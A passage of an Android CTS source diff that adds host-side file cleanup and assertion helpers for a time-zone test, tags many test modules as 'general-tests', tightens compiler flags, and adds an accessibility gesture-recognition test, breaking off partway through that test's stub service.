+    private void deleteDeviceDirectory(PathPair dir, boolean failOnError)
+            throws DeviceNotAvailableException {
+        String deviceDir = dir.devicePath;
+        try {
+            executeCommandOnDeviceRaw("rm -r " + deviceDir);
+        } catch (Exception e) {
+            if (failOnError) {
+                throw deviceFail(e);
+            }
+        }
+    }
+
+    private void deleteDeviceFile(PathPair file, boolean failOnError)
+            throws DeviceNotAvailableException {
+        try {
+            assertDevicePathIsFile(file);
+            executeCommandOnDeviceRaw("rm " + file.devicePath);
+        } catch (Exception e) {
+            if (failOnError) {
+                throw deviceFail(e);
+            }
+        }
+    }
+
+    private static void deleteHostDirectory(PathPair dir, final boolean failOnError) {
+        Path hostPath = dir.hostPath;
+        if (Files.exists(hostPath)) {
+            Consumer<Path> pathConsumer = file -> {
+                try {
+                    Files.delete(file);
+                } catch (Exception e) {
+                    if (failOnError) {
+                        fail(e);
+                    }
+                }
+            };
+
+            try {
+                Files.walk(hostPath).sorted(Comparator.reverseOrder()).forEach(pathConsumer);
+            } catch (IOException e) {
+                fail(e);
+            }
+        }
+    }
+
+    private void assertDevicePathExists(PathPair path) throws DeviceNotAvailableException {
+        assertTrue(getDevice().doesFileExist(path.devicePath));
+    }
+
+    private void assertDeviceDirContainsDistro(PathPair distroPath, byte[] expectedDistroBytes)
+            throws Exception {
+        // Pull back just the version file and compare it.
+        File localFile = mTestRootDir.createSubPath("temp.file").hostFile();
+        try {
+            String remoteVersionFile = distroPath.devicePath + "/"
+                    + TimeZoneDistro.DISTRO_VERSION_FILE_NAME;
+            assertTrue("Could not pull file " + remoteVersionFile + " to " + localFile,
+                    getDevice().pullFile(remoteVersionFile, localFile));
+
+            byte[] bytes = Files.readAllBytes(localFile.toPath());
+            assertArrayEquals(bytes,
+                    new TimeZoneDistro(expectedDistroBytes).getDistroVersion().toBytes());
+        } finally {
+            localFile.delete();
+        }
+    }
+
+    private void assertDevicePathDoesNotExist(PathPair path) throws DeviceNotAvailableException {
+        assertFalse(getDevice().doesFileExist(path.devicePath));
+    }
+
+    private void assertDevicePathIsFile(PathPair path) throws DeviceNotAvailableException {
+        // This check cannot rely on getDevice().getFile(devicePath).isDirectory() here because that
+        // requires that the user has rights to list all files beneath each and every directory in
+        // the path. That is not the case for the shell user and the /data and /data/local
+        // directories. http://b/35753041.
+        String output = executeCommandOnDeviceRaw("stat -c %F " + path.devicePath);
+        assertTrue(path.devicePath + " not a file. Received: " + output,
+                output.startsWith("regular") && output.endsWith("file\n"));
+    }
+
+    private static DeviceNotAvailableException deviceFail(Exception e)
+            throws DeviceNotAvailableException {
+        if (e instanceof DeviceNotAvailableException) {
+            throw (DeviceNotAvailableException) e;
+        }
+        fail(e);
+        return null;
+    }
+
+    private static void fail(Exception e) {
+        e.printStackTrace();
+        fail(e.getMessage());
+    }
+
+    /** A path that has equivalents on both host and device. */
+    private static class PathPair {
+        private final Path hostPath;
+        private final String devicePath;
+
+        PathPair(Path hostPath, String devicePath) {
+            this.hostPath = hostPath;
+            this.devicePath = devicePath;
+        }
+
+        File hostFile() {
+            return hostPath.toFile();
+        }
+
+        PathPair createSubPath(String s) {
+            return new PathPair(hostPath.resolve(s), devicePath + "/" + s);
+        }
+    }
+}
diff --git a/hostsidetests/ui/Android.mk b/hostsidetests/ui/Android.mk
index e2457c5..be29fdd 100644
--- a/hostsidetests/ui/Android.mk
+++ b/hostsidetests/ui/Android.mk
@@ -31,7 +31,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.ui.cts
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/ui/appA/Android.mk b/hostsidetests/ui/appA/Android.mk
index 2d94543..4699e6c 100644
--- a/hostsidetests/ui/appA/Android.mk
+++ b/hostsidetests/ui/appA/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_PACKAGE_NAME := CtsDeviceTaskSwitchingAppA
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/ui/appB/Android.mk b/hostsidetests/ui/appB/Android.mk
index 24108ca..39ef2c9 100644
--- a/hostsidetests/ui/appB/Android.mk
+++ b/hostsidetests/ui/appB/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_PACKAGE_NAME := CtsDeviceTaskSwitchingAppB
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/ui/control/Android.mk b/hostsidetests/ui/control/Android.mk
index fa63c59..771431d 100644
--- a/hostsidetests/ui/control/Android.mk
+++ b/hostsidetests/ui/control/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_PACKAGE_NAME := CtsDeviceTaskSwitchingControl
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/usage/Android.mk b/hostsidetests/usage/Android.mk
index 482ba91..dd0eb86 100644
--- a/hostsidetests/usage/Android.mk
+++ b/hostsidetests/usage/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.host.app.usage
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/usage/app/Android.mk b/hostsidetests/usage/app/Android.mk
index 7347b9b..0d765e7 100644
--- a/hostsidetests/usage/app/Android.mk
+++ b/hostsidetests/usage/app/Android.mk
@@ -26,6 +26,6 @@
 LOCAL_PACKAGE_NAME := CtsAppUsageTestApp
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/usb/Android.mk b/hostsidetests/usb/Android.mk
index bc98445..47b1f13 100644
--- a/hostsidetests/usb/Android.mk
+++ b/hostsidetests/usb/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.usb
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/usb/SerialTestApp/Android.mk b/hostsidetests/usb/SerialTestApp/Android.mk
index f71c7f4..62bc7e2 100644
--- a/hostsidetests/usb/SerialTestApp/Android.mk
+++ b/hostsidetests/usb/SerialTestApp/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
@@ -29,6 +29,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/webkit/Android.mk b/hostsidetests/webkit/Android.mk
index 6fe433c..897940b 100644
--- a/hostsidetests/webkit/Android.mk
+++ b/hostsidetests/webkit/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.webkit.hostside
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/webkit/app/Android.mk b/hostsidetests/webkit/app/Android.mk
index 6370fa4..28c0c01 100644
--- a/hostsidetests/webkit/app/Android.mk
+++ b/hostsidetests/webkit/app/Android.mk
@@ -38,6 +38,6 @@
 LOCAL_DEX_PREOPT := false
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/suite/audio_quality/Android.mk b/suite/audio_quality/Android.mk
index c3404d2..9cf5dc8 100644
--- a/suite/audio_quality/Android.mk
+++ b/suite/audio_quality/Android.mk
@@ -50,8 +50,6 @@
 
 cts: $(CTS_AUDIO_QUALITY_ZIP)
 
-ifneq ($(filter cts, $(MAKECMDGOALS)),)
 $(call dist-for-goals, cts, $(CTS_AUDIO_QUALITY_ZIP))
-endif # cts
 
 endif # linux
diff --git a/suite/audio_quality/executable/Android.mk b/suite/audio_quality/executable/Android.mk
index b22d542..c5e5c74 100644
--- a/suite/audio_quality/executable/Android.mk
+++ b/suite/audio_quality/executable/Android.mk
@@ -20,7 +20,7 @@
 LOCAL_C_INCLUDES += $(LOCAL_PATH)/../lib/include $(LOCAL_PATH)/../lib/src
 LOCAL_STATIC_LIBRARIES += libutils liblog libcutils libtinyalsa libtinyxml2
 LOCAL_WHOLE_STATIC_LIBRARIES := libcts_audio_quality
-LOCAL_CFLAGS:= -g -fno-exceptions
+LOCAL_CFLAGS:= -Wall -Werror -g -fno-exceptions
 LOCAL_LDFLAGS:= -g -lrt -ldl -lm -fno-exceptions -lpthread
 LOCAL_CXX_STL := libc++_static
 LOCAL_MODULE_HOST_OS := linux
diff --git a/suite/audio_quality/lib/Android.mk b/suite/audio_quality/lib/Android.mk
index cd19e85..d45774f 100644
--- a/suite/audio_quality/lib/Android.mk
+++ b/suite/audio_quality/lib/Android.mk
@@ -19,7 +19,8 @@
 LOCAL_SRC_FILES := $(call all-subdir-cpp-files)
 LOCAL_C_INCLUDES += $(LOCAL_PATH)/include $(LOCAL_PATH)/src
 LOCAL_STATIC_LIBRARIES += libutils liblog libtinyalsa libcutils libtinyxml2
-LOCAL_CFLAGS:= -g -fno-exceptions
+LOCAL_CFLAGS := -Wall -Werror -g -fno-exceptions -Wno-unused-parameter
+LOCAL_CFLAGS += -Wno-unused-variable -Wno-format -Wno-unused-variable
 LOCAL_LDFLAGS:= -g -lrt -ldl -lm -fno-exceptions
 LOCAL_MODULE_HOST_OS := linux
 LOCAL_MODULE:= libcts_audio_quality
diff --git a/suite/audio_quality/lib/src/task/ModelBuilder.cpp b/suite/audio_quality/lib/src/task/ModelBuilder.cpp
index 78e5138..f1a506b 100644
--- a/suite/audio_quality/lib/src/task/ModelBuilder.cpp
+++ b/suite/audio_quality/lib/src/task/ModelBuilder.cpp
@@ -87,7 +87,7 @@
 {
     XMLDocument doc;
     int error = doc.LoadFile(xmlFileName.string());
-    if (error != XML_NO_ERROR) {
+    if (error != XML_SUCCESS) {
         LOGE("ModelBuilder::parseTestDescriptionXml cannot load file %s: %d", xmlFileName.string(), error);
         return NULL;
     }
diff --git a/suite/audio_quality/test/Android.mk b/suite/audio_quality/test/Android.mk
index 7a84802..5ee14b7 100644
--- a/suite/audio_quality/test/Android.mk
+++ b/suite/audio_quality/test/Android.mk
@@ -33,7 +33,8 @@
 # need to keep everything in libcts_.. Otherwise, linker will drop some
 # functions and linker error happens
 LOCAL_WHOLE_STATIC_LIBRARIES := libcts_audio_quality
-LOCAL_CFLAGS:= -g -fno-exceptions
+LOCAL_CFLAGS := -g -fno-exceptions -Wall -Werror
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable
 LOCAL_LDFLAGS:= -g -lrt -ldl -lm -fno-exceptions -lpthread
 LOCAL_CXX_STL := libc++_static
 LOCAL_MODULE_HOST_OS := linux
diff --git a/suite/audio_quality/test/LogTest.cpp b/suite/audio_quality/test/LogTest.cpp
index 4412338..51cde10 100644
--- a/suite/audio_quality/test/LogTest.cpp
+++ b/suite/audio_quality/test/LogTest.cpp
@@ -14,6 +14,7 @@
  * the License.
  */
 
+#include <inttypes.h>
 #include <stdint.h>
 #include <gtest/gtest.h>
 
@@ -46,12 +47,14 @@
     int64_t d = 3;
     int64_t e = 4;
     int64_t f = 5;
-    printf("printf %lld %lld %lld %lld %lld %lld\n", a, b, c, d, e, f);
-    LOGD(  "logd   %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
-    LOGV(  "logv   %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
-    LOGI(  "logi   %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
-    LOGW(  "logw   %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
-    LOGE(  "loge   %lld %lld %lld %lld %lld %lld", a, b, c, d, e, f);
+#define PrintABCDEF "%" PRId64 " %" PRId64 " %" PRId64 " %" PRId64 " %" PRId64 \
+    " %" PRId64
+    printf("printf " PrintABCDEF "\n", a, b, c, d, e, f);
+    LOGD(  "logd   " PrintABCDEF, a, b, c, d, e, f);
+    LOGV(  "logv   " PrintABCDEF, a, b, c, d, e, f);
+    LOGI(  "logi   " PrintABCDEF, a, b, c, d, e, f);
+    LOGW(  "logw   " PrintABCDEF, a, b, c, d, e, f);
+    LOGE(  "loge   " PrintABCDEF, a, b, c, d, e, f);
 
     Log::Instance()->setLogLevel(level);
 }
diff --git a/tests/JobScheduler/Android.mk b/tests/JobScheduler/Android.mk
index acfcbb2..ae1fa4d 100755
--- a/tests/JobScheduler/Android.mk
+++ b/tests/JobScheduler/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_PACKAGE_NAME := CtsJobSchedulerTestCases
diff --git a/tests/JobScheduler/jobperm/Android.mk b/tests/JobScheduler/jobperm/Android.mk
index 97bfd3e..ca00ca7 100644
--- a/tests/JobScheduler/jobperm/Android.mk
+++ b/tests/JobScheduler/jobperm/Android.mk
@@ -26,7 +26,7 @@
     $(call all-java-files-under, src) \
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsJobSchedulerJobPerm
 
diff --git a/tests/ProcessTest/Android.mk b/tests/ProcessTest/Android.mk
index 5611b3b..2feff2e 100644
--- a/tests/ProcessTest/Android.mk
+++ b/tests/ProcessTest/Android.mk
@@ -24,6 +24,8 @@
 
 LOCAL_SRC_FILES := $(call all-subdir-java-files)
 
+LOCAL_STATIC_JAVA_LIBRARIES := legacy-android-test junit
+
 LOCAL_PACKAGE_NAME := ProcessTests
 
 LOCAL_DEX_PREOPT := false
diff --git a/tests/acceleration/Android.mk b/tests/acceleration/Android.mk
index e55c0dd..845e291 100644
--- a/tests/acceleration/Android.mk
+++ b/tests/acceleration/Android.mk
@@ -24,12 +24,13 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    ctstestrunner compatibility-device-util legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAccelerationTestCases
 
diff --git a/tests/accessibility/Android.mk b/tests/accessibility/Android.mk
index 7af9d90c..d8da5efe 100644
--- a/tests/accessibility/Android.mk
+++ b/tests/accessibility/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_SDK_VERSION := test_current
 
diff --git a/tests/accessibility/AndroidTest.xml b/tests/accessibility/AndroidTest.xml
index 66bde82..5ea8df1 100644
--- a/tests/accessibility/AndroidTest.xml
+++ b/tests/accessibility/AndroidTest.xml
@@ -14,6 +14,7 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Accessibility test cases">
+    <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/accessibilityservice/Android.mk b/tests/accessibilityservice/Android.mk
index 62f2e57..e0dc678 100644
--- a/tests/accessibilityservice/Android.mk
+++ b/tests/accessibilityservice/Android.mk
@@ -18,12 +18,15 @@
 
 LOCAL_MODULE_TAGS := optional
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner mockito-target-minus-junit4
+LOCAL_STATIC_JAVA_LIBRARIES := \
+	ctstestrunner \
+	mockito-target-minus-junit4 \
+	legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_PACKAGE_NAME := CtsAccessibilityServiceTestCases
 
diff --git a/tests/accessibilityservice/AndroidManifest.xml b/tests/accessibilityservice/AndroidManifest.xml
index a036819..cf6b774 100644
--- a/tests/accessibilityservice/AndroidManifest.xml
+++ b/tests/accessibilityservice/AndroidManifest.xml
@@ -64,7 +64,19 @@
 
             <meta-data
                 android:name="android.accessibilityservice"
-                android:resource="@xml/stub_gesture_a11y_service" />
+                android:resource="@xml/stub_gesture_dispatch_a11y_service" />
+        </service>
+
+        <service
+            android:name=".AccessibilityGestureDetectorTest$StubService"
+            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
+            <intent-filter>
+                <action android:name="android.accessibilityservice.AccessibilityService" />
+                <category android:name="android.accessibilityservice.category.FEEDBACK_GENERIC" />
+            </intent-filter>
+            <meta-data
+                android:name="android.accessibilityservice"
+                android:resource="@xml/stub_gesture_detect_a11y_service" />
         </service>
 
         <activity
diff --git a/tests/accessibilityservice/res/values/strings.xml b/tests/accessibilityservice/res/values/strings.xml
index 3a6b855..2e3d5dd 100644
--- a/tests/accessibilityservice/res/values/strings.xml
+++ b/tests/accessibilityservice/res/values/strings.xml
@@ -139,7 +139,9 @@
 
     <string name="foo_bar_baz">Foo bar baz.</string>
 
-    <string name="stub_gesture_a11y_service_description">com.android.accessibilityservice.cts.StubGestureAccessibilityService</string>
+    <string name="stub_gesture_dispatch_a11y_service_description">com.android.accessibilityservice.cts.StubGestureAccessibilityService</string>
+
+    <string name="stub_gesture_detector_a11y_service_description">com.android.accessibilityservice.cts.StubService</string>
 
     <string name="stub_fprint_a11y_service_description">com.android.accessibilityservice.cts.StubFingerprintGestureAccessibilityService</string>
 
diff --git a/tests/accessibilityservice/res/xml/stub_gesture_detect_a11y_service.xml b/tests/accessibilityservice/res/xml/stub_gesture_detect_a11y_service.xml
new file mode 100644
index 0000000..ca3eab2
--- /dev/null
+++ b/tests/accessibilityservice/res/xml/stub_gesture_detect_a11y_service.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<accessibility-service
+        xmlns:android="http://schemas.android.com/apk/res/android"
+        android:description="@string/stub_gesture_detector_a11y_service_description"
+        android:accessibilityEventTypes="typeAllMask"
+        android:accessibilityFeedbackType="feedbackGeneric"
+        android:accessibilityFlags="flagDefault|flagRequestTouchExplorationMode|flagReportViewIds"
+        android:canRequestTouchExplorationMode="true"
+        android:canRetrieveWindowContent="true"
+        android:canPerformGestures="true" />
diff --git a/tests/accessibilityservice/res/xml/stub_gesture_a11y_service.xml b/tests/accessibilityservice/res/xml/stub_gesture_dispatch_a11y_service.xml
similarity index 96%
rename from tests/accessibilityservice/res/xml/stub_gesture_a11y_service.xml
rename to tests/accessibilityservice/res/xml/stub_gesture_dispatch_a11y_service.xml
index 25a55fc..912c9c4 100644
--- a/tests/accessibilityservice/res/xml/stub_gesture_a11y_service.xml
+++ b/tests/accessibilityservice/res/xml/stub_gesture_dispatch_a11y_service.xml
@@ -16,7 +16,7 @@
 -->
 
 <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
-                       android:description="@string/stub_gesture_a11y_service_description"
+                       android:description="@string/stub_gesture_dispatch_a11y_service_description"
                        android:accessibilityEventTypes="typeAllMask"
                        android:accessibilityFeedbackType="feedbackGeneric"
                        android:accessibilityFlags="flagDefault"
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
new file mode 100644
index 0000000..fd1a9fd
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
@@ -0,0 +1,238 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
+ * express or implied. See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.timeout;
+import static org.mockito.Mockito.verify;
+
+import android.accessibilityservice.AccessibilityService;
+import android.accessibilityservice.GestureDescription;
+import android.accessibilityservice.GestureDescription.StrokeDescription;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.graphics.Path;
+import android.graphics.Point;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.DisplayMetrics;
+import android.view.WindowManager;
+import android.view.accessibility.AccessibilityEvent;
+import java.util.ArrayList;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.MockitoAnnotations;
+
+/**
+ * Verify that motion events are recognized as accessibility gestures.
+ */
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityGestureDetectorTest {
+
+    // Constants
+    static final float GESTURE_LENGTH_INCHES = 1.0f;
+    static final long STROKE_MS = 400;
+    static final long GESTURE_DISPATCH_TIMEOUT_MS = 3000;
+    static final long GESTURE_RECOGNIZE_TIMEOUT_MS = 3000;
+
+    // Member variables
+    StubService mService;  // Test AccessibilityService that collects gestures.
+    boolean mHasTouchScreen;
+    boolean mScreenBigEnough;
+    int mStrokeLenPxX;  // Gesture stroke size, in pixels
+    int mStrokeLenPxY;
+    Point mCenter;  // Center of screen. Gestures all start from this point.
+    @Mock AccessibilityService.GestureResultCallback mGestureDispatchCallback;
+
+    @Before
+    public void setUp() throws Exception {
+        MockitoAnnotations.initMocks(this);
+
+        // Check that device has a touch screen.
+        Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+        PackageManager pm = instrumentation.getContext().getPackageManager();
+        mHasTouchScreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
+                || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
+        if (!mHasTouchScreen) {
+            return;
+        }
+
+        // Find screen size, check that it is big enough for gestures.
+        // Gestures will start in the center of the screen, so we need enough horiz/vert space.
+        WindowManager windowManager = (WindowManager) instrumentation.getContext()
+                .getSystemService(Context.WINDOW_SERVICE);
+        final DisplayMetrics metrics = new DisplayMetrics();
+        windowManager.getDefaultDisplay().getRealMetrics(metrics);
+        mCenter = new Point((int) metrics.widthPixels / 2, (int) metrics.heightPixels / 2);
+        mStrokeLenPxX = (int)(GESTURE_LENGTH_INCHES * metrics.xdpi);
+        mStrokeLenPxY = (int)(GESTURE_LENGTH_INCHES * metrics.ydpi);
+        mScreenBigEnough = (metrics.widthPixels / (2 * metrics.xdpi) > GESTURE_LENGTH_INCHES)
+                && (metrics.heightPixels / (2 * metrics.ydpi) > GESTURE_LENGTH_INCHES);
+        if (!mScreenBigEnough) {
+            return;
+        }
+
+        // Start stub accessibility service.
+        mService = StubService.enableSelf(instrumentation);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (!mHasTouchScreen || !mScreenBigEnough) {
+            return;
+        }
+        mService.runOnServiceSync(() -> mService.disableSelf());
+    }
+
+    @Test
+    public void testRecognizeGesturePath() {
+        if (!mHasTouchScreen || !mScreenBigEnough) {
+            return;
+        }
+
+        // Compute gesture stroke lengths, in pixels.
+        final int dx = mStrokeLenPxX;
+        final int dy = mStrokeLenPxY;
+
+        // Test recognizing various gestures.
+        testPath(p(-dx, +0), AccessibilityService.GESTURE_SWIPE_LEFT);
+        testPath(p(+dx, +0), AccessibilityService.GESTURE_SWIPE_RIGHT);
+        testPath(p(+0, -dy), AccessibilityService.GESTURE_SWIPE_UP);
+        testPath(p(+0, +dy), AccessibilityService.GESTURE_SWIPE_DOWN);
+
+        testPath(p(-dx, +0), p(+0, +0), AccessibilityService.GESTURE_SWIPE_LEFT_AND_RIGHT);
+        testPath(p(-dx, +0), p(-dx, -dy), AccessibilityService.GESTURE_SWIPE_LEFT_AND_UP);
+        testPath(p(-dx, +0), p(-dx, +dy), AccessibilityService.GESTURE_SWIPE_LEFT_AND_DOWN);
+
+        testPath(p(+dx, +0), p(+0, +0), AccessibilityService.GESTURE_SWIPE_RIGHT_AND_LEFT);
+        testPath(p(+dx, +0), p(+dx, -dy), AccessibilityService.GESTURE_SWIPE_RIGHT_AND_UP);
+        testPath(p(+dx, +0), p(+dx, +dy), AccessibilityService.GESTURE_SWIPE_RIGHT_AND_DOWN);
+
+        testPath(p(+0, -dy), p(-dx, -dy), AccessibilityService.GESTURE_SWIPE_UP_AND_LEFT);
+        testPath(p(+0, -dy), p(+dx, -dy), AccessibilityService.GESTURE_SWIPE_UP_AND_RIGHT);
+        testPath(p(+0, -dy), p(+0, +0), AccessibilityService.GESTURE_SWIPE_UP_AND_DOWN);
+
+        testPath(p(+0, +dy), p(-dx, +dy), AccessibilityService.GESTURE_SWIPE_DOWN_AND_LEFT);
+        testPath(p(+0, +dy), p(+dx, +dy), AccessibilityService.GESTURE_SWIPE_DOWN_AND_RIGHT);
+        testPath(p(+0, +dy), p(+0, +0), AccessibilityService.GESTURE_SWIPE_DOWN_AND_UP);
+    }
+
+    /** Convenient short alias to make a Point. */
+    private static Point p(int x, int y) {
+        return new Point(x, y);
+    }
+
+    /** Test recognizing path from PATH_START to PATH_START+delta. */
+    private void testPath(Point delta, int gestureId) {
+        testPath(delta, null, gestureId);
+    }
+
+    /** Test recognizing path from PATH_START to PATH_START+delta1 to PATH_START+delta2. */
+    private void testPath(Point delta1, Point delta2, int gestureId) {
+        // Create gesture motions.
+        int numPathSegments = (delta2 == null) ? 1 : 2;
+        long pathDurationMs = numPathSegments * STROKE_MS;
+        GestureDescription gesture = new GestureDescription.Builder()
+                .addStroke(new StrokeDescription(
+                        linePath(mCenter, delta1, delta2), 0, pathDurationMs, false))
+                .build();
+
+        // Dispatch gesture motions.
+        // Use AccessibilityService.dispatchGesture() instead of Instrumentation.sendPointerSync()
+        // because accessibility services read gesture events upstream from the point where
+        // sendPointerSync() injects events.
+        mService.clearGestures();
+        mService.runOnServiceSync(() ->
+                mService.dispatchGesture(gesture, mGestureDispatchCallback, null));
+        verify(mGestureDispatchCallback,
+                timeout(GESTURE_DISPATCH_TIMEOUT_MS).atLeastOnce())
+                .onCompleted(any());
+
+        // Wait for gesture recognizer, and check recognized gesture.
+        mService.waitUntilGesture();
+        assertEquals(1, mService.getGesturesSize());
+        assertEquals(gestureId, mService.getGesture(0));
+    }
+
+    /** Create a path from startPoint, moving by delta1, then delta2. (delta2 may be null.) */
+    Path linePath(Point startPoint, Point delta1, Point delta2) {
+        Path path = new Path();
+        path.moveTo(startPoint.x, startPoint.y);
+        path.lineTo(startPoint.x + delta1.x, startPoint.y + delta1.y);
+        if (delta2 != null) {
+            path.lineTo(startPoint.x + delta2.x, startPoint.y + delta2.y);
+        }
+        return path;
+    }
+
+    /** Acessibility service stub, which will collect recognized gestures. */
+    public static class StubService extends InstrumentedAccessibilityService {
+
+        private ArrayList<Integer> mCollectedGestures = new ArrayList();
+
+        public static StubService enableSelf(Instrumentation instrumentation) {
+            return InstrumentedAccessibilityService.enableService(
+                    instrumentation, StubService.class);
+        }
+
+        @Override
+        protected boolean onGesture(int gestureId) {
+            synchronized (mCollectedGestures) {
+                mCollectedGestures.add(gestureId);
+                mCollectedGestures.notifyAll();  // Stop waiting for gesture.
+            }
+            return true;
+        }
+
+        public void clearGestures() {
+            synchronized (mCollectedGestures) {
+                mCollectedGestures.clear();
+            }
+        }
+
+        public int getGesturesSize() {
+            synchronized (mCollectedGestures) {
+                return mCollectedGestures.size();
